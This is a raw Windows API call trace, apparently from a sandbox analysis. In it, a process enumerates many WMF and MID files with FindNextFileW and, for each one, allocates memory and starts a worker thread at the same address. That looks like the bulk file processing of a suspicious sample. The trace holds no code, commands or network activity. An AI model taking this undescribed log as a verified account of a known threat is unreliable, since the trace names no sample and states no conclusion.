	[0233.687] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6c60b600, ftCreationTime.dwHighDateTime=0x1bd4b31, ftLastAccessTime.dwLowDateTime=0x600889f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6c60b600, ftLastWriteTime.dwHighDateTime=0x1bd4b31, nFileSizeHigh=0x0, nFileSizeLow=0x31f4, dwReserved0=0x72, dwReserved1=0x0, cFileName="BS00186_.WMF", cAlternateFileName="")) returned 1
	[0233.687] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0233.688] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f49e3f0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x11f4
	[0233.690] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0233.690] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf9efd600, ftCreationTime.dwHighDateTime=0x1bd4b30, ftLastAccessTime.dwLowDateTime=0x51aadd90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf9efd600, ftLastWriteTime.dwHighDateTime=0x1bd4b30, nFileSizeHigh=0x0, nFileSizeLow=0xc20, dwReserved0=0x72, dwReserved1=0x0, cFileName="BS00200_.WMF", cAlternateFileName="")) returned 1
	[0233.690] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0233.691] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4abf70, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x11f8
	[0233.725] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0233.726] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x54fadc00, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x600889f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x54fadc00, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0x634, dwReserved0=0x72, dwReserved1=0x0, cFileName="BS00224_.WMF", cAlternateFileName="")) returned 1
	[0233.726] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0233.727] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f475170, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x11fc
	[0233.728] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0233.728] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x62c55700, ftCreationTime.dwHighDateTime=0x1bd4b0d, ftLastAccessTime.dwLowDateTime=0x51aadd90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x62c55700, ftLastWriteTime.dwHighDateTime=0x1bd4b0d, nFileSizeHigh=0x0, nFileSizeLow=0x4bc, dwReserved0=0x72, dwReserved1=0x0, cFileName="BS00438_.WMF", cAlternateFileName="")) returned 1
	[0233.728] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0233.729] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f478850, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1200
	[0233.731] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0233.731] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x276b5e00, ftCreationTime.dwHighDateTime=0x1bd4af6, ftLastAccessTime.dwLowDateTime=0x51aadd90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x276b5e00, ftLastWriteTime.dwHighDateTime=0x1bd4af6, nFileSizeHigh=0x0, nFileSizeLow=0x804, dwReserved0=0x72, dwReserved1=0x0, cFileName="BS00439_.WMF", cAlternateFileName="")) returned 1
	[0233.732] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0233.732] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4863d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1204
	[0233.733] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0233.734] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x263a3100, ftCreationTime.dwHighDateTime=0x1bd4af6, ftLastAccessTime.dwLowDateTime=0x600aeb50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x263a3100, ftLastWriteTime.dwHighDateTime=0x1bd4af6, nFileSizeHigh=0x0, nFileSizeLow=0x15cc, dwReserved0=0x72, dwReserved1=0x0, cFileName="BS00440_.WMF", cAlternateFileName="")) returned 1
	[0233.734] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0233.734] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f489ab0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1208
	[0233.736] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0233.737] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x25090400, ftCreationTime.dwHighDateTime=0x1bd4af6, ftLastAccessTime.dwLowDateTime=0x600aeb50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x25090400, ftLastWriteTime.dwHighDateTime=0x1bd4af6, nFileSizeHigh=0x0, nFileSizeLow=0xdc4, dwReserved0=0x72, dwReserved1=0x0, cFileName="BS00441_.WMF", cAlternateFileName="")) returned 1
	[0233.737] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0233.737] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f48d190, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x120c
	[0233.739] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0233.739] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x23d7d700, ftCreationTime.dwHighDateTime=0x1bd4af6, ftLastAccessTime.dwLowDateTime=0x51aadd90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x23d7d700, ftLastWriteTime.dwHighDateTime=0x1bd4af6, nFileSizeHigh=0x0, nFileSizeLow=0x9b8, dwReserved0=0x72, dwReserved1=0x0, cFileName="BS00442_.WMF", cAlternateFileName="")) returned 1
	[0233.739] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0233.740] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4a8890, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1210
	[0233.741] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0233.741] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbb7ffa00, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x51aadd90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbb7ffa00, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0x68c, dwReserved0=0x72, dwReserved1=0x0, cFileName="BS00443_.WMF", cAlternateFileName="")) returned 1
	[0233.741] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0233.742] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4af650, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1214
	[0233.743] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0233.744] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x22a6aa00, ftCreationTime.dwHighDateTime=0x1bd4af6, ftLastAccessTime.dwLowDateTime=0x600aeb50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x22a6aa00, ftLastWriteTime.dwHighDateTime=0x1bd4af6, nFileSizeHigh=0x0, nFileSizeLow=0xf38, dwReserved0=0x72, dwReserved1=0x0, cFileName="BS00444_.WMF", cAlternateFileName="")) returned 1
	[0233.744] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0233.745] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4b2d30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1218
	[0233.746] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0233.746] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x21757d00, ftCreationTime.dwHighDateTime=0x1bd4af6, ftLastAccessTime.dwLowDateTime=0x600aeb50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x21757d00, ftLastWriteTime.dwHighDateTime=0x1bd4af6, nFileSizeHigh=0x0, nFileSizeLow=0xed4, dwReserved0=0x72, dwReserved1=0x0, cFileName="BS00445_.WMF", cAlternateFileName="")) returned 1
	[0233.746] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0233.747] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4b6410, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x121c
	[0233.748] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0233.749] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x51aadd90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x72, dwReserved1=0x0, cFileName="BS00453_.WMF", cAlternateFileName="")) returned 1
	[0233.749] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0233.750] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4b9af0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1220
	[0233.751] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0233.752] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4ba86700, ftCreationTime.dwHighDateTime=0x1bd4bea, ftLastAccessTime.dwLowDateTime=0x600aeb50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4ba86700, ftLastWriteTime.dwHighDateTime=0x1bd4bea, nFileSizeHigh=0x0, nFileSizeLow=0xaac, dwReserved0=0x72, dwReserved1=0x0, cFileName="BS01080_.WMF", cAlternateFileName="")) returned 1
	[0233.752] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0233.753] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4bd1d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1224
	[0233.754] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0233.754] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4d186600, ftCreationTime.dwHighDateTime=0x1bd4bcf, ftLastAccessTime.dwLowDateTime=0x51aadd90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4d186600, ftLastWriteTime.dwHighDateTime=0x1bd4bcf, nFileSizeHigh=0x0, nFileSizeLow=0x1c08, dwReserved0=0x72, dwReserved1=0x0, cFileName="BS01603_.WMF", cAlternateFileName="")) returned 1
	[0233.754] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0233.755] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4c08b0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1228
	[0233.756] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0233.757] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc31ccd00, ftCreationTime.dwHighDateTime=0x1bd4bcf, ftLastAccessTime.dwLowDateTime=0x600aeb50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc31ccd00, ftLastWriteTime.dwHighDateTime=0x1bd4bcf, nFileSizeHigh=0x0, nFileSizeLow=0xda6, dwReserved0=0x72, dwReserved1=0x0, cFileName="BS01634_.WMF", cAlternateFileName="")) returned 1
	[0233.757] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0233.757] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4c3f90, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x122c
	[0233.784] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0233.785] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x63bebd00, ftCreationTime.dwHighDateTime=0x1bd4bcf, ftLastAccessTime.dwLowDateTime=0x600aeb50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x63bebd00, ftLastWriteTime.dwHighDateTime=0x1bd4bcf, nFileSizeHigh=0x0, nFileSizeLow=0x3a94, dwReserved0=0x72, dwReserved1=0x0, cFileName="BS01635_.WMF", cAlternateFileName="")) returned 1
	[0233.785] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0233.786] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f49ad10, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1230
	[0233.787] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0233.788] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe440e600, ftCreationTime.dwHighDateTime=0x1bd4bee, ftLastAccessTime.dwLowDateTime=0x600aeb50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe440e600, ftLastWriteTime.dwHighDateTime=0x1bd4bee, nFileSizeHigh=0x0, nFileSizeLow=0x752, dwReserved0=0x72, dwReserved1=0x0, cFileName="BS01636_.WMF", cAlternateFileName="")) returned 1
	[0233.792] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0233.793] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4a1ad0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1234
	[0233.794] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0233.794] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x910b6b00, ftCreationTime.dwHighDateTime=0x1bd4bcf, ftLastAccessTime.dwLowDateTime=0x51aadd90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x910b6b00, ftLastWriteTime.dwHighDateTime=0x1bd4bcf, nFileSizeHigh=0x0, nFileSizeLow=0xf6c, dwReserved0=0x72, dwReserved1=0x0, cFileName="BS01637_.WMF", cAlternateFileName="")) returned 1
	[0233.794] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0233.795] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4a51b0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1238
	[0233.797] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0233.797] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd16ae900, ftCreationTime.dwHighDateTime=0x1bd4bcf, ftLastAccessTime.dwLowDateTime=0x51aadd90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd16ae900, ftLastWriteTime.dwHighDateTime=0x1bd4bcf, nFileSizeHigh=0x0, nFileSizeLow=0x292a, dwReserved0=0x72, dwReserved1=0x0, cFileName="BS01638_.WMF", cAlternateFileName="")) returned 1
	[0233.797] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0233.798] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4c7670, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x123c
	[0233.799] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0233.800] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x88c32800, ftCreationTime.dwHighDateTime=0x1bd4bef, ftLastAccessTime.dwLowDateTime=0x51aadd90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x88c32800, ftLastWriteTime.dwHighDateTime=0x1bd4bef, nFileSizeHigh=0x0, nFileSizeLow=0x108c, dwReserved0=0x72, dwReserved1=0x0, cFileName="BS01639_.WMF", cAlternateFileName="")) returned 1
	[0233.800] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0233.801] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4cad50, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1240
	[0233.802] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0233.803] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x51c50cb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x246a, dwReserved0=0x72, dwReserved1=0x0, cFileName="CARBN_01.MID", cAlternateFileName="")) returned 1
	[0233.803] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0233.803] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4ce430, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1244
	[0233.805] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0233.805] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xceceee00, ftCreationTime.dwHighDateTime=0x1c9b81d, ftLastAccessTime.dwLowDateTime=0x60382570, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xceceee00, ftLastWriteTime.dwHighDateTime=0x1c9b81d, nFileSizeHigh=0x0, nFileSizeLow=0xdec, dwReserved0=0x72, dwReserved1=0x0, cFileName="CG1606.WMF", cAlternateFileName="")) returned 1
	[0233.805] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0233.806] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4d1b10, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1248
	[0233.808] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0233.809] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x51c76e10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x976, dwReserved0=0x72, dwReserved1=0x0, cFileName="CLASSIC1.WMF", cAlternateFileName="")) returned 1
	[0233.809] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0233.810] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4d51f0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x124c
	[0233.811] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0233.811] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x603a86d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x8d6, dwReserved0=0x72, dwReserved1=0x0, cFileName="CLASSIC2.WMF", cAlternateFileName="")) returned 1
	[0233.811] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0233.812] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4d88d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1250
	[0233.814] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0233.814] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x51c76e10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x8d6, dwReserved0=0x72, dwReserved1=0x0, cFileName="CLIP.WMF", cAlternateFileName="")) returned 1
	[0233.815] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0233.815] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4dbfb0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1254
	[0233.817] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0233.818] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x603a86d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x1b3a, dwReserved0=0x72, dwReserved1=0x0, cFileName="CMNTY_01.MID", cAlternateFileName="")) returned 1
	[0233.818] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0233.819] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4df690, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1258
	[0233.820] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0233.821] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6849b000, ftCreationTime.dwHighDateTime=0x1bd0318, ftLastAccessTime.dwLowDateTime=0x51d0f390, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6849b000, ftLastWriteTime.dwHighDateTime=0x1bd0318, nFileSizeHigh=0x0, nFileSizeLow=0x1496, dwReserved0=0x72, dwReserved1=0x0, cFileName="CRANE.WMF", cAlternateFileName="")) returned 1
	[0233.821] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0233.821] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4e2d70, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x125c
	[0233.848] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
